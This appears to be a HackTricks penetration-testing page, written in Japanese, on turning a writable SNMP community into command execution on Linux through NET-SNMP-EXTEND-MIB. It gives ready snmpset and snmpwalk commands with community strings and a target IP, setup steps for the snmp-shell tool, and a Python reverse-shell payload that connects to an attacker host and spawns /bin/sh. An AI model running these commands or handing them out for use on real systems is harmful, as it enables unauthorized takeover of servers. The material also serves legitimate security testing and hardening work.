48 lines
3.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../../banners/hacktricks-training.md}}
# SNMP RCE
SNMPは、管理者がデバイスやサーバーのデフォルト設定を見落とした場合、攻撃者によって悪用される可能性があります。Linuxオペレーティングシステム上で**書き込み権限を持つSNMPコミュニティrwcommunity**を悪用することで、攻撃者はサーバー上でコマンドを実行できます。
## 追加コマンドでサービスを拡張する
SNMPサービスを拡張し、追加コマンドを加えるには、新しい**"nsExtendObjects"テーブルに行を追加**することが可能です。これは、`snmpset`コマンドを使用し、実行可能ファイルへの絶対パスと実行するコマンドを含む必要なパラメータを提供することで実現できます。
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
## コマンドの実行のためのインジェクション
SNMPサービスで実行するコマンドをインジェクトするには、呼び出されるバイナリ/スクリプトの存在と実行可能性が必要です。 **`NET-SNMP-EXTEND-MIB`** は、実行可能ファイルへの絶対パスを提供することを義務付けています。
インジェクトされたコマンドの実行を確認するために、`snmpwalk`コマンドを使用してSNMPサービスを列挙できます。 **出力にはコマンドとその関連詳細が表示され、絶対パスが含まれます**:
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## インジェクトされたコマンドの実行
**インジェクトされたコマンドが読み取られると、実行されます**。この動作は**`run-on-read()`**として知られています。コマンドの実行は、snmpwalkの読み取り中に観察できます。
### SNMPを使用したサーバーシェルの取得
サーバーを制御し、サーバーシェルを取得するには、mxrchによって開発されたPythonスクリプトを[**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)から利用できます。
また、特定のコマンドをSNMPにインジェクトすることによって、リバースシェルを手動で作成することもできます。このコマンドはsnmpwalkによってトリガーされ、攻撃者のマシンへのリバースシェル接続を確立し、被害者のマシンを制御できるようにします。これを実行するための前提条件をインストールできます:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
またはリバースシェル:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
## 参考文献
- [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
{{#include ../../banners/hacktricks-training.md}}